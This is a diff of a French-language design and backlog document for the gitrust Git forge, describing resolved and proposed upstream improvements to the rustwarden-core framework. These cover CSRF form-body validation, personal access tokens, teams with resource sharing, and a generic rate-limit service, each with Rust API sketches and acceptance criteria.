| 21 | +Le hook `on_user_deleted` dans `gitrust-hooks` supprime le repertoire utilisateur sur le filesystem (`repos_base_path/username/`) avant la cascade DB. Appele automatiquement par `UserService::delete_user`. | |
| 22 | + | |
| 23 | +## Aucun contournement en cours | |
| 24 | + | |
| 25 | +Tous les anciens contournements (entity directes, hash manuels) ont ete remplaces par les services du framework suite a la mise a jour du 2026-03-26. | |
| 26 | + | |
| 27 | +--- | |
| 28 | + | |
| 29 | +## Propositions d'amelioration framework (backlog upstream) | |
| 30 | + | |
| 31 | +Cette section liste les limitations observees cote gitrust lors de l'integration et les ameliorations qui benificieraient a toutes les apps batissant sur rustwarden-core. Chaque entree decrit : le contexte, la limitation actuelle, le workaround cote gitrust (temporaire) et la(les) proposition(s) a soumettre upstream. | |
| 32 | + | |
| 33 | +### ~~1. Middleware CSRF incompatible avec les formulaires SSR `application/x-www-form-urlencoded`~~ — RESOLU 2026-04-22 | |
| 34 | + | |
| 35 | +**Status** : Implemente en Phase 2.1 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 36 | + | |
| 37 | +Proposition A retenue : | |
| 38 | +- Nouveau [`CsrfProtectionConfig`](../crates/rustwarden-core/src/middleware/csrf.rs) avec `accept_form_body: bool` + `max_form_body_bytes: usize` (default 1 MiB). | |
| 39 | +- Nouveau middleware [`csrf_protection_with_config`](../crates/rustwarden-core/src/middleware/csrf.rs) qui buffer le body url-encoded, extrait `csrf_token`, valide constant-time, reconstruit le body. | |
| 40 | +- Helper public bonus [`extract_csrf_from_form(body: &[u8])`](../crates/rustwarden-core/src/middleware/csrf.rs) (proposition B). | |
| 41 | +- Multipart skip, body > cap → 413, 11 tests TDD. | |
| 42 | +- `csrf_protection` existante inchangee (backwards-compat). | |
| 43 | + | |
| 44 | +--- | |
| 45 | + | |
| 46 | +### 1bis. Details historiques (avant resolution) | |
| 47 | + | |
| 48 | +**Date de detection** : 2026-04-21 (iteration CSRF admin ssh-guard). | |
| 49 | + | |
| 50 | +**Contexte** : Gitrust est une app SSR pure — pas de JavaScript global, pas de fetch interceptor qui injecterait automatiquement un header `X-CSRF-Token`. Tous les formulaires POST envoient leur token via un champ cache `<input type="hidden" name="csrf_token" value="{{ layout.csrf_token }}">` dans un body `application/x-www-form-urlencoded`. | |
| 51 | + | |
| 52 | +**Limitation du framework** : le middleware [`csrf_protection`](../crates/rustwarden-core/src/middleware/csrf.rs) ne lit que le header `X-CSRF-Token` — il ne parse pas le body. Le commentaire dans le code ([csrf.rs:81-83](../crates/rustwarden-core/src/middleware/csrf.rs#L81)) l'indique explicitement : | |
| 53 | + | |
| 54 | +```rust | |
| 55 | +// For form data, we would need to parse the body | |
| 56 | +// This is handled in handlers that process form data | |
| 57 | +``` | |
| 58 | + | |
| 59 | +Consequence : appliquer `csrf_protection` comme layer axum sur un routeur qui sert des formulaires SSR fait systematiquement renvoyer `403 CSRF token required` — le middleware ne voit jamais le token qui est pourtant dans le body. Les apps SSR sont forcees de : | |
| 60 | +- soit implementer leur propre middleware buffer-body (duplication + risque d'incoherence), | |
| 61 | +- soit appeler `validate_csrf_token` manuellement dans chaque handler POST (invasion de boilerplate). | |
| 62 | + | |
| 63 | +**Workaround actuel cote gitrust** : middleware [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) qui : | |
| 64 | +1. Accepte les methodes safe (`GET`/`HEAD`/`OPTIONS`) sans verification. | |
| 65 | +2. Skip les requetes `Authorization: Bearer` (API JWT non vulnerable). | |
| 66 | +3. Essaie d'abord le header `X-CSRF-Token` (compat future avec HTMX/fetch). | |
| 67 | +4. A defaut, bufferise le body (cap 1 MiB), extrait `csrf_token=...` via parsing URL-encoded, valide via `rustwarden_core::middleware::csrf::validate_csrf_token`, reconstruit le body avec `Body::from(bytes)` pour que le handler downstream puisse re-decoder sa struct `Form<T>`. | |
| 68 | + | |
| 69 | +Ce middleware est **duplicat de logique framework** : il reimplemente la detection bearer, le skip des methodes safe, et le flow de validation. Toute evolution du framework (nouveau type d'auth, changement de flow CSRF) necessite une mise a jour synchronisee cote gitrust. | |
| 70 | + | |
| 71 | +**Propositions d'amelioration** (par ordre de preference) : | |
| 72 | + | |
| 73 | +#### Proposition A — Extension de `csrf_protection` avec option `accept_form_body` | |
| 74 | + | |
| 75 | +Ajouter un parametre optionnel au middleware pour activer la lecture du body : | |
| 76 | + | |
| 77 | +```rust | |
| 78 | +// Nouveau dans rustwarden_core::middleware::csrf | |
| 79 | +pub struct CsrfProtectionConfig { | |
| 80 | + /// Si true, lit le champ `csrf_token` du body form-urlencoded | |
| 81 | + /// quand le header `X-CSRF-Token` est absent. Bufferise le body | |
| 82 | + /// en RAM (attention aux uploads multipart — ignores). | |
| 83 | + /// Defaut : false (compatibilite avec le comportement existant). | |
| 84 | + pub accept_form_body: bool, | |
| 85 | + /// Taille max du body bufferise. Defaut : 1 MiB. | |
| 86 | + pub max_form_body_bytes: usize, | |
| 87 | +} | |
| 88 | + | |
| 89 | +impl Default for CsrfProtectionConfig { | |
| 90 | + fn default() -> Self { | |
| 91 | + Self { | |
| 92 | + accept_form_body: false, | |
| 93 | + max_form_body_bytes: 1024 * 1024, | |
| 94 | + } | |
| 95 | + } | |
| 96 | +} | |
| 97 | + | |
| 98 | +/// Nouveau constructeur pour apps SSR. | |
| 99 | +pub async fn csrf_protection_with_config( | |
| 100 | + State((db, cfg)): State<(DatabaseConnection, Arc<CsrfProtectionConfig>)>, | |
| 101 | + session: Session, | |
| 102 | + uri: Uri, | |
| 103 | + request: Request, | |
| 104 | + next: Next, | |
| 105 | +) -> Result<Response, AppError> { | |
| 106 | + // ... flow existant + branche buffer-body si cfg.accept_form_body | |
| 107 | +} | |
| 108 | +``` | |
| 109 | + | |
| 110 | +**Pros** : change pas l'API existante (backwards-compatible), offre directement la feature aux apps SSR, centralise la logique dans le framework. | |
| 111 | +**Cons** : ajoute de la complexite (buffer-body logic dans le framework), risque edge-cases (multipart/form-data, content-type personnalise, body stream non-buffered). | |
| 112 | + | |
| 113 | +#### Proposition B — Helper `extract_csrf_from_form(body: &[u8]) -> Option<String>` | |
| 114 | + | |
| 115 | +Exporter la logique de parsing en helper public pour que les apps SSR l'utilisent dans leur propre middleware : | |
| 116 | + | |
| 117 | +```rust | |
| 118 | +// Nouveau dans rustwarden_core::middleware::csrf | |
| 119 | +/// Extrait le champ `csrf_token` d'un body `application/x-www-form-urlencoded` | |
| 120 | +/// URL-encode. Retourne `None` si le champ est absent ou le body malforme. | |
| 121 | +pub fn extract_csrf_from_form(body: &[u8]) -> Option<String> { ... } | |
| 122 | +``` | |
| 123 | + | |
| 124 | +**Pros** : intervention minimale, pas de changement de signature middleware, bibliotheque de petites briques. | |
| 125 | +**Cons** : chaque app SSR doit quand meme ecrire son middleware complet ; duplication reste partielle. | |
| 126 | + | |
| 127 | +#### Proposition C — Feature flag `ssr-forms` qui ajoute un middleware dedie | |
| 128 | + | |
| 129 | +```rust | |
| 130 | +// Dans rustwarden_core (derriere feature = "ssr-forms") | |
| 131 | +pub async fn csrf_protection_ssr( | |
| 132 | + State(db): State<DatabaseConnection>, | |
| 133 | + session: Session, | |
| 134 | + uri: Uri, | |
| 135 | + request: Request, | |
| 136 | + next: Next, | |
| 137 | +) -> Result<Response, AppError> { | |
| 138 | + // Flow complet avec buffer-body + validation | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +**Pros** : isole la logique SSR derriere une feature (pas de overhead pour les apps API-only), nom explicite. | |
| 143 | +**Cons** : eclate l'API CSRF en deux (risque de confusion pour les devs), impose aux apps SSR d'activer la feature. | |
| 144 | + | |
| 145 | +**Recommendation** : proposition A (`accept_form_body` en config). C'est la moins invasive du point de vue de l'API, elle garde le comportement par defaut intact, et elle deplace la complexite buffer-body dans le framework ou elle est testable de facon centralisee. | |
| 146 | + | |
| 147 | +**Criteres d'acceptation** pour le PR upstream : | |
| 148 | +- [ ] `csrf_protection` existante continue de fonctionner sans changement (backwards-compat). | |
| 149 | +- [ ] Nouveau helper `csrf_protection_with_config` disponible avec `accept_form_body: true`. | |
| 150 | +- [ ] Gere proprement `application/x-www-form-urlencoded` : buffer → parse → reconstruct body. | |
| 151 | +- [ ] Refuse `multipart/form-data` avec 415 ou skip (trop risque a bufferiser). | |
| 152 | +- [ ] Respecte `max_form_body_bytes` et renvoie 413 sur depassement. | |
| 153 | +- [ ] Tests unitaires : (a) token en header valide, (b) token en form body valide, (c) header absent + form body absent → 403, (d) mismatch → 403, (e) body > cap → 413. | |
| 154 | +- [ ] Doc inline precisant la trade-off buffer vs streaming. | |
| 155 | + | |
| 156 | +**Migration cote gitrust apres merge upstream** : | |
| 157 | +1. Bump version rustwarden-core dans `Cargo.toml`. | |
| 158 | +2. Supprimer [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) et ses tests. | |
| 159 | +3. Remplacer `.layer(axum::middleware::from_fn(admin_csrf_protection))` par `.layer(axum::middleware::from_fn_with_state((db, Arc::new(CsrfProtectionConfig { accept_form_body: true, ..Default::default() })), csrf_protection_with_config))`. | |
| 160 | +4. Supprimer cette section du fichier (ou la deplacer dans `CHANGELOG.md` comme "resolu"). | |
| 161 | + | |
| 162 | +### ~~2. `LayoutContext::new(title, csrf_token)` impose le token en second argument~~ — RESOLU 2026-04-22 | |
| 163 | + | |
| 164 | +**Status** : Implemente en Phase 1.1 du plan d'evolution. | |
| 165 | + | |
| 166 | +Nouveau [`LayoutContext::from_session(session, title)`](../crates/rustwarden-core/src/templates/mod.rs) async qui fetch le token via `get_or_create_csrf_token` avec fallback log+empty sur erreur. Signature existante `new()` inchangee. | |
| 167 | + | |
| 168 | +--- | |
| 169 | + | |
| 170 | +### 2bis. Details historiques (avant resolution) | |
| 171 | + | |
| 172 | +**Contexte** : chaque handler qui rend un template doit fetcher manuellement le token et le passer a `LayoutContext::new`. 27+ occurrences de `LayoutContext::new(title, "")` dans gitrust-web passent un token vide, ce qui casse silencieusement le CSRF cote client. | |
| 173 | + | |
| 174 | +**Limitation** : la signature de [`LayoutContext::new(title: &str, csrf_token: &str)`](../crates/rustwarden-core/src/templates.rs) traite le token comme un parametre obligatoire sans possibilite de remplissage automatique. Il n'existe pas de helper `LayoutContext::from_session(session, title)` ou `LayoutContext::builder().title(...).finish_async(&session)`. | |
| 175 | + | |
| 176 | +**Proposition** : ajouter un constructeur async qui fait le fetch du token : | |
| 177 | + | |
| 178 | +```rust | |
| 179 | +impl LayoutContext { | |
| 180 | + /// Version async qui peuple `csrf_token` depuis la session tower-sessions. | |
| 181 | + /// Fallback silencieux sur `""` si la session est indisponible (log warn). | |
| 182 | + pub async fn from_session(session: &tower_sessions::Session, title: &str) -> Self { | |
| 183 | + let token = rustwarden_core::middleware::csrf::get_or_create_csrf_token(session) | |
| 184 | + .await | |
| 185 | + .unwrap_or_default(); | |
| 186 | + Self::new(title, &token) | |
| 187 | + } | |
| 188 | +} | |
| 189 | +``` | |
| 190 | + | |
| 191 | +**Pros** : reduit le boilerplate par handler, empeche le pattern "`LayoutContext::new(title, "")`" qui echappe aux revues. | |
| 192 | +**Cons** : nouvelle dependance entre `templates` et `middleware::csrf` (cross-module). Alternative : placer le helper dans `crate::middleware::csrf` plutot que dans `templates`. | |
| 193 | + | |
| 194 | +**Criteres d'acceptation** : | |
| 195 | +- [ ] Pas de changement de signature sur `LayoutContext::new` (backwards-compat). | |
| 196 | +- [ ] Nouveau `from_session` disponible, teste avec une session mock. | |
| 197 | +- [ ] Doc inline avec exemple de handler qui l'utilise. | |
| 198 | + | |
| 199 | +**Migration cote gitrust apres merge** : | |
| 200 | +1. Remplacer tous les `LayoutContext::new(title, &csrf_token)` par `LayoutContext::from_session(&session, title).await`. | |
| 201 | +2. Retirer les appels `get_or_create_csrf_token` qui etaient inlines avant. | |
| 202 | + | |
| 203 | +### ~~3. `csrf_protection_impl` redondant avec `csrf_protection`~~ — RESOLU 2026-04-22 | |
| 204 | + | |
| 205 | +**Status** : Implemente en Phase 1.2 du plan d'evolution. | |
| 206 | + | |
| 207 | +Factorise via la fonction interne `csrf_check` + enum `CsrfOutcome`. Les deux publics (`csrf_protection`, `csrf_protection_impl`, plus le nouveau `csrf_protection_with_config`) deviennent des wrappers minces (3-4 lignes chacun). ~80 lignes de duplication supprimees. | |
| 208 | + | |
| 209 | +--- | |
| 210 | + | |
| 211 | +### 3bis. Details historiques (avant resolution) | |
| 212 | + | |
| 213 | +**Contexte** : le framework expose deux middlewares quasi-identiques ([csrf.rs:123](../crates/rustwarden-core/src/middleware/csrf.rs#L123) et [csrf.rs:175](../crates/rustwarden-core/src/middleware/csrf.rs#L175)). Seule difference : `csrf_protection_impl` prend `db` par reference au lieu de passer par `State<DatabaseConnection>`. | |
| 214 | + | |
| 215 | +**Proposition** : deduplication via une fonction interne commune + 2 wrappers : | |
| 216 | +```rust | |
| 217 | +async fn csrf_protection_inner(session: &Session, request: &Request) -> Result<Option<Response>, AppError> { ... } | |
| 218 | +pub async fn csrf_protection(State(_db), session, uri, request, next) -> Result<Response, AppError> { ... } | |
| 219 | +pub async fn csrf_protection_impl(_db, session, uri, request, next) -> Result<Response, AppError> { ... } | |
| 220 | +``` | |
| 221 | + | |
| 222 | +**Priorite** : basse (DRY seulement, pas de bug). | |
| 223 | + | |
| 224 | +### ~~4. Pas de service Personal Access Tokens (PAT)~~ — RESOLU 2026-04-23 | |
| 225 | + | |
| 226 | +**Status** : Implemente dans Phase 4 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 227 | + | |
| 228 | +Livre : | |
| 229 | +- Migration [`m20260422_000007_create_personal_access_tokens`](../crates/rustwarden-core/migrations/src/m20260422_000007_create_personal_access_tokens.rs) (table + indexes unique `(user_id, name)`, `token_hash`, `expires_at`). | |
| 230 | +- Entity SeaORM [`personal_access_token::Model`](../crates/rustwarden-core/src/models/personal_access_token.rs) avec helpers `is_expired`, `is_revoked`, `is_active`. | |
| 231 | +- Service generique [`PersonalTokenService<S: TokenScope>`](../crates/rustwarden-core/src/services/personal_token_service.rs) : `create`, `verify`, `list_for_user`, `revoke`, `cleanup_expired`. Hash SHA-256 constant-time, `last_used_at` best-effort, revoke idempotent + ownership check. | |
| 232 | +- Background cleanup task [`PersonalTokenCleanupProcessor<S>`](../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (config `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`, default 3600s). | |
| 233 | +- Prelude exporte `PersonalTokenService` et `TokenScope`. | |
| 234 | +- 15 tests (5 entity + 10 integration DB). | |
| 235 | + | |
| 236 | +--- | |
| 237 | + | |
| 238 | +### 4bis. Details historiques (avant resolution) | |
| 239 | + | |
| 240 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 11). | |
| 241 | + | |
| 242 | +**Contexte** : gitrust a besoin d'une auth API long terme pour `git clone/push` via HTTPS (Smart HTTP — LOT 10). Le workflow est : l'utilisateur genere un token depuis l'UI, le colle dans `git config` ou dans l'URL `https://user:token@host/repo.git`, et le client Git le renvoie identique a chaque appel. | |
| 243 | + | |
| 244 | +**Limitation du framework** : [`RefreshTokenService`](../crates/rustwarden-core/src/services/refresh_token_service.rs) gere uniquement la rotation JWT (un usage = un nouveau token, detection de reuse, plafond `MAX_ACTIVE_TOKENS_PER_USER=10`). Ce modele est **incompatible** avec un PAT statique : `git push` ne peut pas "tourner" le token entre deux invocations. Aucun service ne couvre : | |
| 245 | +- Token SHA-256 en base, verifie a chaque appel (pas de rotation). | |
| 246 | +- Scopes structures (`read:repo`, `write:repo`, `admin:repo`). | |
| 247 | +- `last_used_at` pour UX et nettoyage. | |
| 248 | +- Expiration optionnelle (`expires_at NULL` = token permanent). | |
| 249 | + | |
| 250 | +**Workaround actuel cote gitrust** : non demarre — LOT 11 attend la decision. Piste pretraitee : | |
| 251 | +- Migration `personal_access_tokens` (id, user_id, name, token_hash, scopes text[], expires_at, last_used_at, created_at). | |
| 252 | +- Service `gitrust-core/src/services/personal_token_service.rs` calque sur `RefreshTokenService` (hash SHA-256, cleanup tache de fond). | |
| 253 | +- Reutiliser `TokenHash` (Zeroize) deja present dans `gitrust-core/src/types.rs`. | |
| 254 | +- Extension de `AuthUser` : extractor gitrust local qui tente `Authorization: Bearer <jwt>` (framework) puis `Authorization: Bearer gtr_<pat>` (gitrust). | |
| 255 | + | |
| 256 | +**Proposition upstream** : `PersonalTokenService<S: TokenScope>` generique avec trait de scope parametrable par consommateur. | |
| 257 | + | |
| 258 | +```rust | |
| 259 | +pub trait TokenScope: Sized + Clone + Send + Sync + 'static { | |
| 260 | + fn as_str(&self) -> &str; | |
| 261 | + fn parse(s: &str) -> Option<Self>; | |
| 262 | +} | |
| 263 | + | |
| 264 | +pub struct PersonalTokenService<S: TokenScope> { _phantom: PhantomData<S> } | |
| 265 | + | |
| 266 | +impl<S: TokenScope> PersonalTokenService<S> { | |
| 267 | + pub async fn create(db, user_id, name, scopes: Vec<S>, expires_at) -> Result<(PatRecord, String /*clair*/)>; | |
| 268 | + pub async fn verify(db, token_clear: &str) -> Result<(PatRecord, Vec<S>)>; | |
| 269 | + pub async fn list_for_user(db, user_id) -> Result<Vec<PatRecord>>; | |
| 270 | + pub async fn revoke(db, token_id, user_id) -> Result<()>; | |
| 271 | + pub async fn cleanup_expired(db) -> Result<u64>; | |
| 272 | +} | |
| 273 | +``` | |
| 274 | + | |
| 275 | +Gitrust instancierait `PersonalTokenService<RepoScope>`, PasterMan `PersonalTokenService<WallScope>`. | |
| 276 | + | |
| 277 | +**Pros** : couvre tous les apps qui veulent une auth API statique. Mutualise le hash/scopes/cleanup. Prefix de token (`gtr_`, `ptm_`) reste au choix de l'app. | |
| 278 | +**Cons** : trait `TokenScope` impose un vocabulaire partage. Alternative : scopes en `Vec<String>` et validation cote app (moins type-safe). | |
| 279 | + | |
| 280 | +**Criteres d'acceptation** : | |
| 281 | +- [ ] Migration generique `personal_access_tokens` ajoutable au migrator de l'app. | |
| 282 | +- [ ] Hash SHA-256 en base, token clair jamais stocke. | |
| 283 | +- [ ] API `create`/`verify`/`list`/`revoke`/`cleanup_expired`. | |
| 284 | +- [ ] Tests : creation + verify ok, scope mismatch, token expire, revoke idempotent. | |
| 285 | +- [ ] Documentation du pattern d'extension `AuthUser` cote consommateur (tentative JWT puis PAT). | |
| 286 | + | |
| 287 | +**Migration cote gitrust apres merge** : | |
| 288 | +1. Bump `rustwarden-core`. | |
| 289 | +2. Remplacer `personal_token_service` local par `PersonalTokenService<RepoScope>`. | |
| 290 | +3. Garder le prefix `gtr_` et l'extractor d'auth gitrust (specifique au protocole Smart HTTP). | |
| 291 | + | |
| 292 | +### ~~5. Pas de TeamService (groupes d'utilisateurs)~~ — RESOLU 2026-04-23 | |
| 293 | + | |
| 294 | +**Status** : Implemente en Phase 5 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)). | |
| 295 | + | |
| 296 | +Livre : | |
| 297 | +- Migration [`m20260423_000008_create_teams`](../crates/rustwarden-core/migrations/src/m20260423_000008_create_teams.rs) : tables `teams` + `team_members` (composite PK), evolution `resource_shares` avec `shared_with_team_id` + CHECK constraint (exactement un de `user_id`/`team_id` non-null) + partial unique indexes par principal. | |
| 298 | +- Value object [`TeamSlug`](../crates/rustwarden-core/src/types/team_slug.rs) : `[a-z0-9-]{1,64}`, no leading/trailing `-`, 15 reserved names. 8 tests. | |
| 299 | +- [`TeamService`](../crates/rustwarden-core/src/services/team_service.rs) : `create`, `find_by_id/slug`, `add_member` (idempotent + role update), `remove_member` (refuse de supprimer l'owner), `list_members`, `teams_of_user`, `team_ids_of_user`, `delete`. Hooks `on_team_*` cables. 8 integration tests. | |
| 300 | +- [`ResourceService::Principal`](../crates/rustwarden-core/src/services/resource_service.rs) enum (`User | Team`) + `share_with` + `effective_permission_for_user` qui calcule `max(direct_user_share, max(team_shares))`. Legacy `share()` conserve comme wrapper. 6 integration tests couvrant : user-principal backwards-compat, owner share refuse, team grant a tous membres, max cross user+teams, remove from team drop access, idempotent team upsert. | |
| 301 | +- Prelude exporte `Principal`, `TeamService`, `TeamRole`, `TeamSlug`. | |
| 302 | + | |
| 303 | +Total : 22 tests nouveaux sur DB reelle, 0 regression. | |
| 304 | + | |
| 305 | +--- | |
| 306 | + | |
| 307 | +### 5bis. Details historiques (avant resolution) | |
| 308 | + | |
| 309 | +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 14). | |
| 310 | + | |
| 311 | +**Contexte** : gitrust veut permettre le partage d'un repo a une **equipe** (ex. `@backend`), pas seulement a des utilisateurs individuels. C'est une attente standard (GitHub, GitLab, Forgejo). PasterMan a le meme besoin pour partager des walls a une equipe. | |
| 312 | + | |
| 313 | +**Limitation du framework** : rustwarden-core n'expose que : | |
| 314 | +- Des **roles globaux** (`admin`, `user`, `app_manager`) via `RoleService`. | |
| 315 | +- Un **partage 1-to-1** (`ResourceService::share(user_id, permission)`). | |
| 316 | + | |
| 317 | +**Aucune notion de team/groupe.** La section gitrust de [CLAUDE.md](../CLAUDE.md) mentionnait "teams upstream" : c'etait une supposition incorrecte, a corriger. | |
| 318 | + | |
| 319 | +**Workaround actuel cote gitrust** : non demarre — LOT 14 attend la decision. Piste pretraitee : | |
| 320 | +- Migrations `teams` (slug, name, owner_id, created_at) + `team_members` (team_id, user_id, role, joined_at). | |
| 321 | +- Service `gitrust-core/src/services/team_service.rs` (CRUD + membership + validation slug via `TeamSlug` deja present). | |
| 322 | +- Bridge `ResourceService` : partage d'un repo a une team = expansion en partages individuels au moment du check ACL, OU extension `ResourceService::share(shared_with_id, shared_with_type: "user" | "team")`. | |
| 323 | + | |
| 324 | +**Proposition upstream** : `TeamService` generique + evolution de `ResourceService::share` pour accepter `shared_with_type`. | |
| 325 | + | |
| 326 | +```rust | |
| 327 | +pub struct TeamService; | |
| 328 | + | |
| 329 | +impl TeamService { | |
| 330 | + pub async fn create(db, owner_id, slug, name) -> Result<TeamRecord>; | |
| 331 | + pub async fn add_member(db, team_id, user_id, role: TeamRole) -> Result<()>; | |
| 332 | + pub async fn remove_member(db, team_id, user_id) -> Result<()>; | |
| 333 | + pub async fn list_members(db, team_id) -> Result<Vec<(UserRecord, TeamRole)>>; | |
| 334 | + pub async fn teams_of_user(db, user_id) -> Result<Vec<TeamRecord>>; | |
| 335 | + pub async fn delete(db, team_id, hooks: &Arc<dyn RustwardenHooks>) -> Result<()>; | |
| 336 | +} | |
| 337 | + | |
| 338 | +// Evolution de ResourceService | |
| 339 | +pub enum Principal { User(Uuid), Team(Uuid) } | |
| 340 | +impl ResourceService { | |
| 341 | + pub async fn share_with(db, resource_type, resource_id, principal: Principal, permission) -> Result<()>; | |
| 342 | + pub async fn effective_permission_for_user(db, resource_type, resource_id, user_id) -> Result<Option<Permission>>; | |
| 343 | + // Calcule max(perm_direct, max(perm_via_teams)) | |
| 344 | +} | |
| 345 | +``` | |
| 346 | + | |
| 347 | +**Pros** : pattern reutilisable (gitrust, PasterMan). La resolution `effective_permission_for_user` encapsule la logique d'expansion (transparente pour le consommateur). Hooks `on_team_created/deleted/member_added/removed` a ajouter pour les consommateurs qui veulent un audit. | |
| 348 | +**Cons** : touche a `ResourceService` (service central) — risque de regression. Besoin de tests de charge (expansion team peut balayer N utilisateurs a chaque check ACL — prevoir cache ou requete SQL join). | |
| 349 | + | |
| 350 | +**Criteres d'acceptation** : | |
| 351 | +- [ ] Migration `teams` + `team_members` ajoutable au migrator. | |
| 352 | +- [ ] `TeamSlug` (reserved names, lowercase, 1-64 chars) — peut reutiliser le pattern gitrust. | |
| 353 | +- [ ] `ResourceService::effective_permission_for_user` prend en compte memberships (test dedie). | |
| 354 | +- [ ] Hooks `on_team_*` ajoutes a `RustwardenHooks` (cf. gap-7 ci-dessous). | |
| 355 | +- [ ] Suppression d'une team : cascade sur `team_members` + revocation des shares `Team(id)`. | |
| 356 | +- [ ] Tests : user membre de 2 teams avec permissions differentes → max l'emporte. User retire d'une team perd l'acces au repo si c'etait sa seule source. | |
| 357 | + | |
| 358 | +**Migration cote gitrust apres merge** : | |
| 359 | +1. Bump `rustwarden-core`. | |
| 360 | +2. Corriger [CLAUDE.md](../CLAUDE.md) section "Roles" — referencer `TeamService` framework. | |
| 361 | +3. Ajouter UI `/teams` + templates. | |
| 362 | +4. Etendre `RepositoryService` pour appeler `ResourceService::share_with(Principal::Team(team_id))`. | |
| 363 | + | |
| 364 | +### ~~6. Pas de RateLimitService generique expose~~ — RESOLU 2026-04-22 | |
| 365 | + | |
| 366 | +**Status** : Implemente en Phase 2.3 du plan d'evolution. | |
| 367 | + | |
| 368 | +Livre : | |
| 369 | +- [`RateLimitService`](../crates/rustwarden-core/src/services/rate_limit_service.rs) generique : `check`, `check_window` (fixed), `check_sliding_window` (strict), `cleanup_loop`. | |
| 370 | +- [`AppError::TooManyRequests { retry_after_secs }`](../crates/rustwarden-core/src/error.rs) → HTTP 429 + `Retry-After` header + body JSON. | |
| 371 | +- 5 call-sites internes dedupliques : `AuthRateLimiter` + `PublicShareRateLimiter` (rate_limit middleware) + password_change + password_reset + email_validation services — tous migrent vers `RateLimitService` avec prefixes de cle (`auth:{ip}`, `share:{ip}`, `pwd_change:{user_id}`, etc.). | |
| 372 | +- Bonus : race TOCTOU elimine (check+record atomique), `oauth_handlers` renvoie desormais 429 au lieu d'un faux 400. | |
| 373 | + | |
| 374 | +--- | |
| 375 | + | |
| 376 | +### 6bis. Details historiques (avant resolution) | |
| 377 | + | |
| 378 | +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-preview-rate-limit.md`). | |
| 379 | + | |
| 380 | +**Contexte** : gitrust doit rate-limiter les endpoints d'import (`GET /import/preview`, `POST /import`) avec des cles arbitraires et un TTL configurable par env var (`RATE_LIMIT_IMPORT_PREVIEW_PER_MINUTE=120`). Le meme besoin revient pour tout endpoint critique (future API PAT, webhook receive-pack, etc.). | |
| 381 | + | |
| 382 | +**Limitation du framework** : les rate limiters existants ([password_change_service](../crates/rustwarden-core/src/services/password_change_service.rs), [password_reset_service](../crates/rustwarden-core/src/services/password_reset_service.rs), [email_validation_service](../crates/rustwarden-core/src/services/email_validation_service.rs)) sont : | |
| 383 | +- **Internes** a chaque service, non reutilisables. | |
| 384 | +- **Cles hardcodees** (`user_id`, `email`) — impossible de passer une cle arbitraire. | |
| 385 | +- Pas d'API publique `RateLimitService::check(key, per_minute)`. | |
| 386 | + | |
| 387 | +Resultat : chaque app reinvente son rate limiter (gitrust l'a deja fait pour la login dans Phase 4 via `check_auth_rate_limit`, c'est un bon exemple mais specifique login). | |
| 388 | + | |
| 389 | +**Workaround actuel cote gitrust** : non demarre pour l'import (plan `import-preview-rate-limit.md` en attente). Piste pretraitee : | |
| 390 | +- Module `gitrust-core/src/rate_limit.rs` : rate limiter in-process (DashMap<String, WindowCounter>) avec fenetre glissante. | |
| 391 | +- Signature : `check_rate_limit(key: &str, per_minute: u32) -> Result<(), AppError::TooManyRequests>`. | |
| 392 | +- Pas de persistence (reset au restart acceptable pour ce scope). | |
| 393 | + | |
| 394 | +**Proposition upstream** : extraire un `RateLimitService` public generique. Refactor des 3 rate limiters existants pour l'utiliser (dog-fooding). | |
| 395 | + | |
| 396 | +```rust | |
| 397 | +pub struct RateLimitService { | |
| 398 | + buckets: Arc<DashMap<String, WindowCounter>>, | |
| 399 | +} | |
| 400 | + | |
| 401 | +impl RateLimitService { | |
| 402 | + pub fn new() -> Self; | |
| 403 | + | |
| 404 | + /// Verifie et incremente. Renvoie Err(TooManyRequests) si depassement. | |
| 405 | + pub fn check(&self, key: &str, max_per_minute: u32) -> Result<(), AppError>; | |
| 406 | + | |
| 407 | + /// Variante avec fenetre custom (ex. 1h pour reset password). | |
| 408 | + pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError>; | |
| 409 | + | |
| 410 | + /// Purge periodique des buckets expires (tache de fond). | |
| 411 | + pub async fn cleanup_loop(&self, interval: Duration); | |
| 412 | +} | |
| 413 | +``` | |
| 414 | + | |
| 415 | +Ajouter `AppError::TooManyRequests { retry_after_secs: u64 }` mappe sur HTTP 429 avec header `Retry-After`. | |
| 416 | + | |
| 417 | +**Pros** : mutualise 3 impls existantes. API generique servable a tout consommateur. `AppError::TooManyRequests` standardise la reponse 429 (absent aujourd'hui dans `AppError`). | |
| 418 | +**Cons** : migration interne du framework (refactor des 3 services existants) — risque de regression. Impl in-process seulement ; pour Redis multi-instance, prevoir un trait `RateLimitBackend` (out-of-scope v1). | |
| 419 | + | |
| 420 | +**Criteres d'acceptation** : | |
| 421 | +- [ ] `RateLimitService::check(key, per_minute)` public. | |
| 422 | +- [ ] `AppError::TooManyRequests { retry_after_secs }` avec mapping HTTP 429 + header `Retry-After`. | |
| 423 | +- [ ] `PasswordChangeService`, `PasswordResetService`, `EmailValidationService` refactors pour utiliser le service (tests existants passent sans modif). | |
| 424 | +- [ ] Cleanup loop documente (evite la fuite memoire sur les cles mortes). | |
| 425 | +- [ ] Tests : 10 appels OK dans la fenetre, 11e refuse, expiration de la fenetre libere. | |
| 426 | + | |
| 427 | +**Migration cote gitrust apres merge** : | |
| 428 | +1. Bump `rustwarden-core`. | |
| 429 | +2. Supprimer le module gitrust `rate_limit.rs` si cree temporairement. | |
| 430 | +3. Injecter `RateLimitService` en Extension dans `main.rs` et l'appeler dans les handlers d'import. | |
| 431 | + | |
| 432 | +### ~~7. Pas de SSE broadcaster (bus de notifications temps reel)~~ — RESOLU 2026-04-23 | |
| 433 | + | |
